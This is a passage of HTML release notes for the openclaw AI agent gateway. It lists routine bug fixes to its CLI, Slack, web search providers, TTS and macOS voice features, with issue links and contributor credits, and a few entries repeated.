<p>CLI/models: reject <code>--agent</code> on <code>openclaw models set</code> and <code>set-image</code> instead of silently writing agent-scoped requests to global model defaults. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4286636018" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68391" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68391/hovercard" href="https://github.com/openclaw/openclaw/issues/68391">#68391</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/derrickabellard/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/derrickabellard">@derrickabellard</a>.</p>
</li>
<li>
<p>CLI: stop treating the legacy singular <code>openclaw tool ...</code> token as a plugin id under restrictive <code>plugins.allow</code>, so it falls through as a normal unknown/reserved command instead of suggesting a stale allowlist entry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4243981916" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64732" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64732/hovercard" href="https://github.com/openclaw/openclaw/issues/64732">#64732</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efe-arv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efe-arv">@efe-arv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SweetSophia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SweetSophia">@SweetSophia</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hashtag1974/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hashtag1974">@hashtag1974</a>.</p>
</li>
<li>
<p>Media: write inbound media buffers through same-directory temp files before rename, so failed disk writes do not leave zero-byte artifacts for later voice transcription. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4154946745" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55966" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55966/hovercard" href="https://github.com/openclaw/openclaw/issues/55966">#55966</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OpenCodeEngineer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OpenCodeEngineer">@OpenCodeEngineer</a>.</p>
</li>
<li>
<p>TTS/Telegram: keep trusted local audio generated by the TTS tool queued for voice-note delivery even when the run-level built-in tool list omits the raw <code>tts</code> name. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354905008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74752" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74752/hovercard" href="https://github.com/openclaw/openclaw/issues/74752">#74752</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Loveworld3033/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Loveworld3033">@Loveworld3033</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andyliu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andyliu">@andyliu</a>.</p>
</li>
<li>
<p>TTS: require explicit user or config audio intent for the agent speech tool so dashboard chats stay text unless audio is requested. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4303803702" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69777" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69777/hovercard" href="https://github.com/openclaw/openclaw/issues/69777">#69777</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexandre-leng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexandre-leng">@alexandre-leng</a>.</p>
</li>
<li>
<p>Plugins/config: keep bundled source-checkout plugins from being runtime-gated by install-only <code>minHostVersion</code> metadata, accept prerelease host floors, trim plugin-service startup failures to one log line, and avoid broad channel-runtime loading during base config parsing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Heartbeat: strip legacy <code>[TOOL_CALL]...[/TOOL_CALL]</code> and <code>[TOOL_RESULT]...[/TOOL_RESULT]</code> pseudo-call blocks from heartbeat replies before channel delivery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131762668" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54138" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54138/hovercard" href="https://github.com/openclaw/openclaw/issues/54138">#54138</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Deniable9570/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Deniable9570">@Deniable9570</a>.</p>
</li>
<li>
<p>macOS/Voice Wake: send wake-word and Push-to-Talk transcripts through the selected macOS session target instead of always falling back to main WebChat. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4107671050" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51040" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51040/hovercard" href="https://github.com/openclaw/openclaw/issues/51040">#51040</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/carl-jeffrolc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/carl-jeffrolc">@carl-jeffrolc</a>.</p>
</li>
<li>
<p>Providers/xAI: give Grok <code>web_search</code> a 60s default timeout, harden malformed xAI Responses parsing, and return structured timeout errors instead of aborting the tool call. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4175237199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58063" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58063/hovercard" href="https://github.com/openclaw/openclaw/issues/58063">#58063</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4183930735" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58733" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58733/hovercard" href="https://github.com/openclaw/openclaw/issues/58733">#58733</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dnishimura/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dnishimura">@dnishimura</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marvcasasola-svg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marvcasasola-svg">@marvcasasola-svg</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nanako0129/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nanako0129">@Nanako0129</a>.</p>
</li>
<li>
<p>Providers/configure: preserve the existing default model when adding or reauthing a provider whose plugin returns a default-model config patch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4099627324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50268" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50268/hovercard" href="https://github.com/openclaw/openclaw/issues/50268">#50268</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rixcorp-oc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rixcorp-oc">@rixcorp-oc</a>.</p>
</li>
<li>
<p>Slack/message actions: send media before the follow-up Block Kit message when Slack <code>send</code> includes a file plus presentation or interactive controls, so file attachments are no longer rejected. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4111591995" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51458" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51458/hovercard" href="https://github.com/openclaw/openclaw/issues/51458">#51458</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HirokiKobayashi-R/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HirokiKobayashi-R">@HirokiKobayashi-R</a>.</p>
</li>
<li>
<p>Slack/DMs: honor <code>dmHistoryLimit</code> for fresh 1:1 Slack DM sessions by backfilling recent conversation history before the current reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4240708914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64427" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64427/hovercard" href="https://github.com/openclaw/openclaw/issues/64427">#64427</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brantley-creator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brantley-creator">@brantley-creator</a>.</p>
</li>
<li>
<p>Slack/DMs: keep top-level direct messages on the stable DM session even when <code>replyToMode</code> targets Slack thread replies, preserving context across DM turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4184870759" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58832" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58832/hovercard" href="https://github.com/openclaw/openclaw/issues/58832">#58832</a>. Thanks @daye-jjeong.</p>
</li>
<li>
<p>Slack/delivery: preserve Slack Web API missing-scope details in outbound delivery errors, so queued retry state identifies the OAuth scope to add. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4216375787" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62391" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62391/hovercard" href="https://github.com/openclaw/openclaw/issues/62391">#62391</a>. Thanks @alexey-pelykh.</p>
</li>
<li>
<p>Slack/capabilities: read granted scopes from <code>auth.test</code> response metadata before trying legacy scope APIs, so modern bot tokens no longer report <code>unknown_method</code> for channel capabilities. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4068646797" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44625" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44625/hovercard" href="https://github.com/openclaw/openclaw/issues/44625">#44625</a>. Thanks @Qquanwei and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</p>
</li>
<li>
<p>Slack/DMs: send text/block-only proactive DMs directly with <code>chat.postMessage(channel=&lt;user id&gt;)</code> while keeping conversation resolution for uploads and threaded sends. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4213098355" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62042" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62042/hovercard" href="https://github.com/openclaw/openclaw/issues/62042">#62042</a>. Thanks @MarkMolina.</p>
</li>
<li>
<p>Slack/routing: match route bindings written with Slack target syntax such as <code>channel:C...</code>, <code>user:U...</code>, or <code>&lt;@U...&gt;</code>, so bound Slack peers route to the configured agent instead of <code>main</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4048907648" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41608" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41608/hovercard" href="https://github.com/openclaw/openclaw/issues/41608">#41608</a>. Thanks @Winnsolutionsadmin.</p>
</li>
<li>
<p>Slack/routing: match public-channel allowlist entries written as <code>channel:C...</code> against bare Slack runtime channel IDs, so allowed channel mentions do not fail as <code>channel-not-allowed</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4046643845" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41264" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41264/hovercard" href="https://github.com/openclaw/openclaw/issues/41264">#41264</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4160915756" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56530" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56530/hovercard" href="https://github.com/openclaw/openclaw/pull/56530">#56530</a>. Thanks @babutree and @Realworld404.</p>
</li>
<li>
<p>Slack/message actions: prefer the account bound to the outbound target peer before falling back to the agent's first channel account, so multi-workspace sends use the intended Slack account. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264751663" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66807" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66807/hovercard" href="https://github.com/openclaw/openclaw/pull/66807">#66807</a>. Thanks @rijhsinghani.</p>
</li>
<li>
<p>Slack/delivery: retry Slack Web API writes only when the SDK wraps a DNS request failure such as <code>EAI_AGAIN</code>, so transient resolver hiccups can recover without retrying platform errors that may duplicate messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289779783" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68789" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68789/hovercard" href="https://github.com/openclaw/openclaw/issues/68789">#68789</a>. Thanks @sonnyb9.</p>
</li>
<li>
<p>Slack/message actions: forward agent-scoped media roots through the bundled upload-file action path, so workspace files can be attached without failing the local-media guard. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4242973170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64625" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64625/hovercard" href="https://github.com/openclaw/openclaw/issues/64625">#64625</a>. Thanks @benpchandler.</p>
</li>
<li>
<p>Slack/mentions: resolve <code>&lt;!subteam^...&gt;</code> user-group mentions through Slack <code>usergroups.users.list</code> and treat them as explicit mentions only when the bot user is a member, so mention-gated agent channels wake for real user-group mentions without config-only allowlists. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346503795" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73827/hovercard" href="https://github.com/openclaw/openclaw/issues/73827">#73827</a>. Thanks @CG-Intelligence-Agent-Jack.</p>
</li>
<li>
<p>Slack/message tool: let <code>read</code> fetch an exact Slack message timestamp, including a specific thread reply when paired with <code>threadId</code>, instead of returning only the parent thread or recent channel history. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4130437054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53943" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53943/hovercard" href="https://github.com/openclaw/openclaw/issues/53943">#53943</a>. Thanks @zomars.</p>
</li>
<li>
<p>PDF/Gemini: send native PDF analysis API keys in the <code>x-goog-api-key</code> header instead of the request URL, keeping secrets out of proxy and access logs. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4202693803" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60600" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60600/hovercard" href="https://github.com/openclaw/openclaw/pull/60600">#60600</a>. Thanks @garagon.</p>
</li>
<li>
<p>Web search/Gemini: route agent abort signals into provider fetches and log provider-side abort failures as normal tool errors instead of silently aborting the run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338236726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72995" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72995/hovercard" href="https://github.com/openclaw/openclaw/issues/72995">#72995</a>. Thanks @RoseKongPS.</p>
</li>
<li>
<p>Web search: point missing-key errors to <code>web_fetch</code> for known URLs and the browser tool for interactive pages. Thanks @zhaoyang97.</p>
</li>
<li>
<p>Web search: late-bind managed agent <code>web_search</code> calls to the current runtime config snapshot, so existing sessions do not keep stale unresolved SecretRefs after secrets reload. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362762607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75420" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75420/hovercard" href="https://github.com/openclaw/openclaw/issues/75420">#75420</a>. Thanks @richardmqq.</p>
</li>
<li>
<p>Web search/Gemini: reuse <code>models.providers.google.apiKey</code> and <code>models.providers.google.baseUrl</code> as lower-priority fallbacks for Gemini web search after dedicated search config and <code>GEMINI_API_KEY</code>. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4167524438" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57496" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/57496/hovercard" href="https://github.com/openclaw/openclaw/pull/57496">#57496</a>. Thanks @Aoiujz.</p>
</li>
<li>
<p>Web search/Gemini: pass <code>freshness</code> and <code>date_after</code>/<code>date_before</code> filters through Google Search grounding time ranges. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4261488656" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66498" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66498/hovercard" href="https://github.com/openclaw/openclaw/issues/66498">#66498</a>. Thanks @ismael-81.</p>
</li>
<li>
<p>Web search/DuckDuckGo: include the keyless DuckDuckGo provider in the web search setup wizard. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4253504720" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65862" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65862/hovercard" href="https://github.com/openclaw/openclaw/issues/65862">#65862</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4254540581" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65940" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65940/hovercard" href="https://github.com/openclaw/openclaw/pull/65940">#65940</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jah-yee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jah-yee">@Jah-yee</a>.</p>
</li>
<li>
<p>Web search: honor <code>baseUrl</code> overrides for Gemini, Grok, and x_search provider-owned config, so proxy-backed search tools no longer dial hardcoded public endpoints. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4212565688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61972" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61972/hovercard" href="https://github.com/openclaw/openclaw/pull/61972">#61972</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lanfei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lanfei">@Lanfei</a>.</p>
</li>
<li>
<p>Web search/Brave: point Brave provider metadata at the canonical <code>/tools/brave-search</code> docs page and make the legacy <code>/brave-search</code> docs page a redirect stub. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4253527816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65870" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65870/hovercard" href="https://github.com/openclaw/openclaw/issues/65870">#65870</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4253794124" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65892" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65892/hovercard" href="https://github.com/openclaw/openclaw/pull/65892">#65892</a>. Thanks @Magicray1217 and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jah-yee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jah-yee">@Jah-yee</a>.</p>
</li>
<li>
<p>Web search/Brave: allow <code>freshness</code> and bounded date ranges in <code>llm-context</code> mode, matching Brave's documented LLM Context API support. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4107380876" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51005" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/51005/hovercard" href="https://github.com/openclaw/openclaw/pull/51005">#51005</a>. Thanks @remusao.</p>
</li>
<li>
<p>Web fetch: resolve external plugin <code>webFetchProviders</code> for non-sandboxed <code>web_fetch</code>, while keeping sandboxed fetches limited to bundled providers. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355873723" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74915" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74915/hovercard" href="https://github.com/openclaw/openclaw/issues/74915">#74915</a>. Thanks @ultrahighsuper and @mingmingtsao.</p>
</li>
<li>
<p>Heartbeat: strip legacy <code>[TOOL_CALL]...[/TOOL_CALL]</code> and <code>[TOOL_RESULT]...[/TOOL_RESULT]</code> pseudo-call blocks from heartbeat replies before channel delivery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131762668" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54138" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54138/hovercard" href="https://github.com/openclaw/openclaw/issues/54138">#54138</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Deniable9570/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Deniable9570">@Deniable9570</a>.</p>
</li>
<li>
<p>macOS/Voice Wake: send wake-word and Push-to-Talk transcripts through the selected macOS session target instead of always falling back to main WebChat. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4107671050" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51040" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51040/hovercard" href="https://github.com/openclaw/openclaw/issues/51040">#51040</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/carl-jeffrolc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/carl-jeffrolc">@carl-jeffrolc</a>.</p>
</li>
<li>
<p>Providers/xAI: give Grok <code>web_search</code> a 60s default timeout, harden malformed xAI Responses parsing, and return structured timeout errors instead of aborting the tool call. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4175237199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58063" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58063/hovercard" href="https://github.com/openclaw/openclaw/issues/58063">#58063</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4183930735" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58733" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58733/hovercard" href="https://github.com/openclaw/openclaw/issues/58733">#58733</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dnishimura/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dnishimura">@dnishimura</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marvcasasola-svg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marvcasasola-svg">@marvcasasola-svg</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nanako0129/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nanako0129">@Nanako0129</a>.</p>
</li>
<li>
<p>Slack/directory: make <code>openclaw directory peers/groups list --channel slack</code> prefer token-backed live readers and return the connected Slack account from <code>directory self</code>, so valid Slack tokens no longer produce empty directory CLI results. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4105363396" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50776" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50776/hovercard" href="https://github.com/openclaw/openclaw/issues/50776">#50776</a>. Thanks @pjaillon.</p>
</li>
<li>
<p>Slack: keep assistant typing status, temporary typing reactions, and status reactions active for group/channel turns that use message-tool-only visible replies, while still suppressing automatic source replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367334076" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75877" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75877/hovercard" href="https://github.com/openclaw/openclaw/issues/75877">#75877</a>. Thanks @teosborne.</p>
</li>
<li>
<p>Slack: recover full inbound DM text from top-level rich-text blocks when Slack sends a shortened message preview, so long direct messages still reach the agent intact. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4147105482" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55358" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55358/hovercard" href="https://github.com/openclaw/openclaw/issues/55358">#55358</a>. Thanks @tonyjwinter.</p>
</li>
<li>
<p>Replies: strip legacy <code>[TOOL_CALL]{tool =&gt; ..., args =&gt; ...}[/TOOL_CALL]</code> pseudo-call text from user-facing replies and flag it in tool-call diagnostics instead of showing raw tool syntax in channels. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4230337239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63610" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63610/hovercard" href="https://github.com/openclaw/openclaw/issues/63610">#63610</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/canh0chua/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/canh0chua">@canh0chua</a>.</p>
</li>
<li>
<p>WhatsApp: close long-lived web sockets through Baileys <code>end(error)</code> before falling back to raw websocket close, so listener teardown runs Baileys cleanup instead of leaving zombie sockets. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4116852446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52442" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52442/hovercard" href="https://github.com/openclaw/openclaw/issues/52442">#52442</a>. Thanks @essendigitalgroup-cyber.</p>
</li>
<li>
<p>Twitch/plugins: emit a flat JSON Schema for Twitch channel config so single-account and multi-account configs validate before runtime load, and add source-checkout diagnostics for missing pnpm workspace dependencies. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway/sessions: move hot transcript reads and mirror appends onto async bounded IO with serialized parent-linked writes, keeping large session histories from stalling Gateway requests and channel replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364571913" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75656" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75656/hovercard" href="https://github.com/openclaw/openclaw/issues/75656">#75656</a>. Thanks @DerFlash.</p>
</li>
<li>
<p>macOS/Talk Mode: downmix multi-channel microphone buffers before handing them to Apple Speech across Push-to-Talk, Talk Mode, Voice Wake, and the wake-word tester, so pro audio interfaces no longer produce empty transcripts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4054504623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42533" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42533/hovercard" href="https://github.com/openclaw/openclaw/issues/42533">#42533</a>. Thanks @jbuecker.</p>
</li>
<li>
<p>macOS/Talk Mode: subscribe native WebChat to active-session transcript updates and render external spoken user turns in the chat thread instead of only showing assistant replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359538657" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75155" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75155/hovercard" href="https://github.com/openclaw/openclaw/issues/75155">#75155</a>. Thanks @SledderBling.</p>
</li>
<li>
<p>macOS/Voice Wake: accept trigger-only phrases in the built-in Voice Wake test, matching the settings UI and runtime trigger-only path instead of requiring extra command text after the wake word. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245638367" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64986" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64986/hovercard" href="https://github.com/openclaw/openclaw/issues/64986">#64986</a>. Thanks @zoiks65.</p>
</li>
<li>
